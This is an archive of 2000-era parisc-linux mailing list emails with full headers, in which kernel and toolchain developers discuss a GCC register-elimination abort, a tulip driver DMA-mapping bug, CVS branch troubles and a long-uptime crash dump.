X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: abort in eliminate_regs compiling glob.c from glibc
Date: Fri, 10 Nov 2000 11:36:56 +1100 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011101123290.1107-100000@front.linuxcare.com.au>
References: <200011092357.SAA08600@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619262 5939 80.91.229.3 (22 Nov 2014 01:21:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Thu Nov  9 17:35:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA16531
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 17:35:16 -0700
Original-Received: (qmail 19606 invoked by uid 15267); 10 Nov 2000 00:37:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19581 invoked from network); 10 Nov 2000 00:37:11 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 10 Nov 2000 00:37:11 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA05720;
	Fri, 10 Nov 2000 11:36:56 +1100
In-Reply-To: <200011092357.SAA08600@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8359

On Thu, 9 Nov 2000, John David Anglin wrote:

> > Breakpoint 2, eliminate_regs_in_insn (insn=0x406a0ba0, replace=0)
> >     at ../../gcc/reload1.c:2826
> > 2826      if (! insn_is_asm && icode < 0)
> > (gdb) p debug_rtx (insn)
> > (insn/s 2711 2709 2719 (set (reg:SI 6 %r6)
> >         (reg:SI 28 %r28)) 69 {pre_ldw-4} (insn_list 2708 (insn_list:REG_DEP_ANTI 2696 (insn_list:REG_DEP_ANTI 2702 (insn_list:REG_DEP_ANTI 2697 (nil)))))
> >     (expr_list:REG_DEAD (reg:SI 28 %r28)
> >         (insn_list:REG_RETVAL 2708 (expr_list:REG_EQUAL (expr_list (use (mem:BLK (scratch) 0))
> >                     (expr_list (symbol_ref/v:SI ("@strlen"))
> >                         (expr_list (reg/v:SI 4 %r4)
> >                             (nil))))
> >                 (nil)))))
> 
> The `use' arises from the `__pure__' attribute in the prototype for strlen:
> 
> extern size_t strlen (__const char *__s) __attribute__ ((__pure__));

I don't see this problem using current puffin CVS hppa64-linux gcc.  Was
this with your REG_ELIMINATE patch?

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: abort in eliminate_regs compiling glob.c from glibc
Date: Thu, 9 Nov 2000 21:50:49 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <200011100250.VAA08742@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0011101123290.1107-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619262 5942 80.91.229.3 (22 Nov 2014 01:21:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Nov  9 19:49:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA17716
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 19:48:59 -0700
Original-Received: (qmail 22366 invoked by uid 15267); 10 Nov 2000 02:50:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22349 invoked from network); 10 Nov 2000 02:50:54 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 10 Nov 2000 02:50:54 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id VAA08742;
	Thu, 9 Nov 2000 21:50:49 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0011101123290.1107-100000@front.linuxcare.com.au> from "Alan Modra" at Nov 10, 2000 11:36:56 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8360

> > > 2826      if (! insn_is_asm && icode < 0)
> > > (gdb) p debug_rtx (insn)
> > > (insn/s 2711 2709 2719 (set (reg:SI 6 %r6)
> > >         (reg:SI 28 %r28)) 69 {pre_ldw-4} (insn_list 2708 (insn_list:REG_DEP_ANTI 2696 (insn_list:REG_DEP_ANTI 2702 (insn_list:REG_DEP_ANTI 2697 (nil)))))
> > >     (expr_list:REG_DEAD (reg:SI 28 %r28)
> > >         (insn_list:REG_RETVAL 2708 (expr_list:REG_EQUAL (expr_list (use (mem:BLK (scratch) 0))
> > >                     (expr_list (symbol_ref/v:SI ("@strlen"))
> > >                         (expr_list (reg/v:SI 4 %r4)
> > >                             (nil))))
> > >                 (nil)))))
> > 
> > The `use' arises from the `__pure__' attribute in the prototype for strlen:
> > 
> > extern size_t strlen (__const char *__s) __attribute__ ((__pure__));
> 
> I don't see this problem using current puffin CVS hppa64-linux gcc.  Was
> this with your REG_ELIMINATE patch?

No.  Well actually I saw it first with the patch.  I see this with the
32 bit compiler.  The only elimination with the 32 bit compiler is the
default frame pointer elimination.

I just tried the hppa64-linux-gcc compiler with the source that I posted
and it didn't abort.  There were lots of warnings about int to pointer
conversions though.

Make sure you compile with -O2 or -O3?  Register elimination only occurs
at -O2 or above.  I see the problem both with a i686-linux cross compiler
and a fairly recent native hpux compiler under hpux 10.20.  The problem is
not present in 2.95.2 but it doesn't support the pure atribute.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: linux bame
Date: Fri, 10 Nov 2000 09:49:07 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20001110094907.A11268@parcelfarce.linux.theplanet.co.uk>
References: <200011092253.PAA14963@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619262 5948 80.91.229.3 (22 Nov 2014 01:21:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:02 +0000 (UTC)
Cc: parisc-linux-cvs@puffin.external.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Fri Nov 10 02:47:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA29149
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 02:47:15 -0700
Original-Received: (qmail 32642 invoked by uid 15267); 10 Nov 2000 09:49:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32622 invoked from network); 10 Nov 2000 09:49:09 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 10 Nov 2000 09:49:09 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13uAnz-00031q-00; Fri, 10 Nov 2000 09:49:07 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200011092253.PAA14963@puffin.external.hp.com>; from bame@puffin.external.hp.com on Thu, Nov 09, 2000 at 03:53:48PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8361

On Thu, Nov 09, 2000 at 03:53:48PM -0700, Paul Bame wrote:
>     Somebody never imported 2.4.0-test6, then I imported -test10 on the main
>     vendor branch and now can't (easily) undo that to import test6 and THEN
>     test10.  This workaround sucks.

don't use vendor branches.  didn't you talk to mang about this?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tulip DMA mapping
Date: Fri, 10 Nov 2000 10:18:08 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20001110101808.B11268@parcelfarce.linux.theplanet.co.uk>
References: <200011092012.MAA06943@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619263 5952 80.91.229.3 (22 Nov 2014 01:21:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, jgarzik@mandrakesoft.com,
        davem@redhat.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Fri Nov 10 03:24:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA29740
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 03:24:11 -0700
Original-Received: (qmail 26753 invoked by uid 15267); 10 Nov 2000 10:26:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26735 invoked from network); 10 Nov 2000 10:26:07 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 10 Nov 2000 10:26:07 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13uBG4-0003NY-00; Fri, 10 Nov 2000 10:18:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200011092012.MAA06943@milano.cup.hp.com>; from grundler@cup.hp.com on Thu, Nov 09, 2000 at 12:12:25PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8362

On Thu, Nov 09, 2000 at 12:12:25PM -0800, Grant Grundler wrote:
> 0 is a valid pci_map_single() return value when the system has an IO MMU.

Oh dear.  You can bet tulip won't be the only driver which assumes it
isn't a valid return value.  Can't our IOMMU code be limited in such a
way that 0 is not a valid return value?  Say, constrain all allocated
addresses to the top half of the device bus?

(um, just check me on this, map_single returns a device bus address,
not a processor bus address, right?)

> The system will panic before pci_map_single() will fail.
> The driver needs to remember some other way if a buffer was mapped or not.
> Or the Documentation/DMA-mapping.txt should be changed - ie add this
> to the interface definition and I can reserve the 1st mapping
> entry so no-one uses it.

we should probably have a BAD_DMA_ADDR define which that array should be
initialised to.  it's a little late in 2.4 to go through and audit all
the drivers again.

> Should I be mailing Jeff Garzik <jgarzik@mandrakesoft.com> directly?
> Or can someone who knows Jeff point this out to him?

i've cc'd jeff & dave miller on this.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tulip DMA mapping
Date: Fri, 10 Nov 2000 02:16:11 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <200011101016.CAA12058@pizda.ninka.net>
References: <200011092012.MAA06943@milano.cup.hp.com> <20001110101808.B11268@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619263 5955 80.91.229.3 (22 Nov 2014 01:21:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:03 +0000 (UTC)
Cc: grundler@cup.hp.com, parisc-linux@thepuffingroup.com,
        jgarzik@mandrakesoft.com
To: matthew@wil.cx
Original-X-From: davem@redhat.com  Fri Nov 10 03:28:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA30098
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 03:28:55 -0700
Original-Received: (qmail 29985 invoked by uid 15267); 10 Nov 2000 10:30:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29975 invoked from network); 10 Nov 2000 10:30:51 -0000
Original-Received: from pizda.ninka.net (root@216.101.162.242)
  by mailserv2.iuinc.com with SMTP; 10 Nov 2000 10:30:51 -0000
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id CAA12058;
	Fri, 10 Nov 2000 02:16:11 -0800
In-reply-to: <20001110101808.B11268@parcelfarce.linux.theplanet.co.uk>
	(message from Matthew Wilcox on Fri, 10 Nov 2000 10:18:08 +0000)
Xref: news.gmane.org gmane.linux.ports.parisc:8363

   Date: Fri, 10 Nov 2000 10:18:08 +0000
   From: Matthew Wilcox <matthew@wil.cx>

   > Should I be mailing Jeff Garzik <jgarzik@mandrakesoft.com> directly?
   > Or can someone who knows Jeff point this out to him?

   i've cc'd jeff & dave miller on this.

In 2.4.x there is _NO_ error return from the PCI dma functions except
the consistent DMA mapping ones.

This was an explicit design decision, the dynamic mapping functions
should never fail, and if they do it is a hard error.

Therefore no drivers need to check for failure, as far as they are
concerned, there is no failure.

So what is the issue?  In 2.5.x I'll add an error return facility
(BTW: -1 ie. 0xfffffff would probably work as an error value on all
 platforms :-)

Later,
David S. Miller
davem@redhat.com


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel updates.
Date: 19 Apr 1999 15:01:48 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <r2d810jmlv.fsf@happy.cygnus.com>
References: <199904192116.OAA06503@cllmail.cup.hp.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416619263 5957 80.91.229.3 (22 Nov 2014 01:21:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:03 +0000 (UTC)
Cc: "Alex deVries" <adevries@redhat.com>, <parisc-linux@thepuffingroup.com>
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: drepper@cygnus.com  Mon Apr 19 18:03:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id SAA16724
	for <parisc-linux@sod.res.cmu.edu>; Mon, 19 Apr 1999 18:03:16 -0400
Original-Received: (qmail 31476 invoked by uid 15267); 19 Apr 1999 22:01:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31464 invoked from network); 19 Apr 1999 22:01:39 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 19 Apr 1999 22:01:39 -0000
Original-Received: from happy.cygnus.com (happy.cygnus.com [205.180.230.206])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id PAA00458;
	Mon, 19 Apr 1999 15:02:26 -0700 (PDT)
Original-Received: (drepper@localhost) by happy.cygnus.com (8.8.7/8.6.4) id PAA12364; Mon, 19 Apr 1999 15:01:48 -0700
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Cary Coutant's message of "Mon, 19 Apr 1999 14:17:19 -0700"
Original-Lines: 12
X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald"
Xref: news.gmane.org gmane.linux.ports.parisc:8364

Cary Coutant <cary@cup.hp.com> writes:

> We have cases where two names are used to refer to what is
> essentially the same relocation type, but that shouldn't be a
> conflict.

This is no problem, right.

-- 
---------------.      drepper at gnu.org  ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Cygnus Solutions `--' drepper at cygnus.com   `------------------------


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-linux reaches uptimes in excess of one day!
Date: Fri, 10 Nov 2000 10:55:16 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <20001110105515.I32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619264 5959 80.91.229.3 (22 Nov 2014 01:21:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:04 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: rhirst@linuxcare.com  Fri Nov 10 03:55:19 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id DAA30562
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 03:55:16 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2C51FB007; Fri, 10 Nov 2000 10:55:16 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8365

Just for interest...  My A180 has been up for 25 hours, the first
12 of which I had a couple of telnet sessions open running vi, gcc,
etc. and since then it has been looping doing kernel builds.
I also ran cvs to update its kernel source tree from pehc.
So far it has completed about 23 kernel builds with one hiccup:

do_page_fault() pid=2420 command='cpp0'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001011
r0-3     00000000 4013ac38 400e134f 00000004
r4-7     40138c38 ffffffb5 2002014b 00000001
r8-11    00000004 00000000 00000000 4001ada0
r12-15   4001ad7c 0001b300 2001f601 00000001
r16-19   00012000 00000023 00000020 40138c38
r20-23   20020100 4012a51c 00000000 9999999a
r24-27   2002016c 2002014c 00000004 00013d34
r28-31   00000000 4013a438 200201c0 40041757
sr0-4    00000000 00000011 00000000 00000011
sr4-8    00000011 00000011 00000011 00000011

IASQ: 00000011 00000011 IAOQ: 400e13b7 400e13bb
 IIR: 0c601094    ISR: 00000011  IOR: 00000004
ORIG_R28: 40019450


Richard


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tulip DMA mapping
Date: Fri, 10 Nov 2000 11:12:20 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <20001110111220.J32715@linuxcare.com>
References: <200011092012.MAA06943@milano.cup.hp.com> <20001110101808.B11268@parcelfarce.linux.theplanet.co.uk> <200011101016.CAA12058@pizda.ninka.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619264 5961 80.91.229.3 (22 Nov 2014 01:21:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:04 +0000 (UTC)
Cc: matthew@wil.cx, grundler@cup.hp.com, parisc-linux@thepuffingroup.com,
        jgarzik@mandrakesoft.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: rhirst@linuxcare.com  Fri Nov 10 04:12:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA00423
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 04:12:18 -0700
Original-Received: (qmail 29351 invoked by uid 15267); 10 Nov 2000 11:14:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29311 invoked from network); 10 Nov 2000 11:14:12 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 10 Nov 2000 11:14:12 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 39314B007; Fri, 10 Nov 2000 11:12:20 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200011101016.CAA12058@pizda.ninka.net>; from davem@redhat.com on Fri, Nov 10, 2000 at 02:16:11AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8366

I've quoted the whole of Grants message below, so you can see the
context.  It looks like tulip is treating zero as meaning it
doesn't have anything to pci_unmap...

Grant Grundler wrote:
> Hi all,
> I see a "bug" in tulip's usage of mapping services.
> It's not the bug I was looking for unfortunately.
> 
> In line 217 of drivers/net/tulip/interrupt.c:
> 
>         if (tp->tx_buffers[entry].mapping)
>                 pci_unmap_single(tp->pdev,
>                                 tp->tx_buffers[entry].mapping,
>                                 sizeof(tp->setup_frame),
>                                 PCI_DMA_TODEVICE);
> 
> 0 is a valid pci_map_single() return value when the system has an IO MMU.
> 
> The system will panic before pci_map_single() will fail.
> The driver needs to remember some other way if a buffer was mapped or not.
> Or the Documentation/DMA-mapping.txt should be changed - ie add this
> to the interface definition and I can reserve the 1st mapping
> entry so no-one uses it.

Richard


On Fri, Nov 10, 2000 at 02:16:11AM -0800, David S. Miller wrote:
>    Date: Fri, 10 Nov 2000 10:18:08 +0000
>    From: Matthew Wilcox <matthew@wil.cx>
> 
>    > Should I be mailing Jeff Garzik <jgarzik@mandrakesoft.com> directly?
>    > Or can someone who knows Jeff point this out to him?
> 
>    i've cc'd jeff & dave miller on this.
> 
> In 2.4.x there is _NO_ error return from the PCI dma functions except
> the consistent DMA mapping ones.
> 
> This was an explicit design decision, the dynamic mapping functions
> should never fail, and if they do it is a hard error.
> 
> Therefore no drivers need to check for failure, as far as they are
> concerned, there is no failure.
> 
> So what is the issue?  In 2.5.x I'll add an error return facility
> (BTW: -1 ie. 0xfffffff would probably work as an error value on all
>  platforms :-)
> 
> Later,
> David S. Miller
> davem@redhat.com
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tulip DMA mapping
Date: Fri, 10 Nov 2000 03:26:48 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <200011101126.DAA12490@pizda.ninka.net>
References: <200011092012.MAA06943@milano.cup.hp.com> <20001110101808.B11268@parcelfarce.linux.theplanet.co.uk> <200011101016.CAA12058@pizda.ninka.net> <20001110111220.J32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619264 5968 80.91.229.3 (22 Nov 2014 01:21:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:04 +0000 (UTC)
Cc: matthew@wil.cx, grundler@cup.hp.com, parisc-linux@thepuffingroup.com,
        jgarzik@mandrakesoft.com
To: rhirst@linuxcare.com
Original-X-From: davem@redhat.com  Fri Nov 10 04:39:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA00989
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 04:39:23 -0700
Original-Received: (qmail 16915 invoked by uid 15267); 10 Nov 2000 11:41:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16905 invoked from network); 10 Nov 2000 11:41:19 -0000
Original-Received: from pizda.ninka.net (root@216.101.162.242)
  by mailserv2.iuinc.com with SMTP; 10 Nov 2000 11:41:19 -0000
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id DAA12490;
	Fri, 10 Nov 2000 03:26:48 -0800
In-reply-to: <20001110111220.J32715@linuxcare.com> (message from Richard Hirst
	on Fri, 10 Nov 2000 11:12:20 +0000)
Xref: news.gmane.org gmane.linux.ports.parisc:8367

   Date: Fri, 10 Nov 2000 11:12:20 +0000
   From: Richard Hirst <rhirst@linuxcare.com>

   I've quoted the whole of Grants message below, so you can see the
   context.  It looks like tulip is treating zero as meaning it
   doesn't have anything to pci_unmap...

Thank you for the clarification.

Jeff, this is in fact a bug, please fix :-)

Later,
David S. Miller
davem@redhat.com


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Garzik <jgarzik@mandrakesoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tulip DMA mapping
Date: Fri, 10 Nov 2000 09:30:41 -0500
Organization: MandrakeSoft
Lines: 24
Approved: news@gmane.org
Message-ID: <3A0C0691.E605D148@mandrakesoft.com>
References: <200011092012.MAA06943@milano.cup.hp.com> <20001110101808.B11268@parcelfarce.linux.theplanet.co.uk> <200011101016.CAA12058@pizda.ninka.net> <20001110111220.J32715@linuxcare.com> <200011101126.DAA12490@pizda.ninka.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619265 5972 80.91.229.3 (22 Nov 2014 01:21:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:05 +0000 (UTC)
Cc: rhirst@linuxcare.com, matthew@wil.cx, grundler@cup.hp.com,
        parisc-linux@thepuffingroup.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: jgarzik@mandrakesoft.com  Fri Nov 10 07:31:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA02325
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 07:31:57 -0700
Original-Received: (qmail 9426 invoked by uid 15267); 10 Nov 2000 14:33:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9416 invoked from network); 10 Nov 2000 14:33:53 -0000
Original-Received: from panic.ohr.gatech.edu (HELO havoc.gtf.org) (root@130.207.47.194)
  by mailserv2.iuinc.com with SMTP; 10 Nov 2000 14:33:53 -0000
Original-Received: from mandrakesoft.com (adsl-20-73-115.asm.bellsouth.net [66.20.73.115])
	by havoc.gtf.org (8.9.3/8.9.3) with ESMTP id JAA21193;
	Fri, 10 Nov 2000 09:30:41 -0500
Original-Sender: jgarzik@havoc.gtf.org
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-test11 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8368

"David S. Miller" wrote:
> 
>    Date: Fri, 10 Nov 2000 11:12:20 +0000
>    From: Richard Hirst <rhirst@linuxcare.com>
> 
>    I've quoted the whole of Grants message below, so you can see the
>    context.  It looks like tulip is treating zero as meaning it
>    doesn't have anything to pci_unmap...
> 
> Thank you for the clarification.
> 
> Jeff, this is in fact a bug, please fix :-)

np.  Like Matthew(?) hinted, this is not the only place that needs
fixing.  I'll take care of it.

	Jeff


-- 
Jeff Garzik             |
Building 1024           | Would you like a Twinkie?
MandrakeSoft            |


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
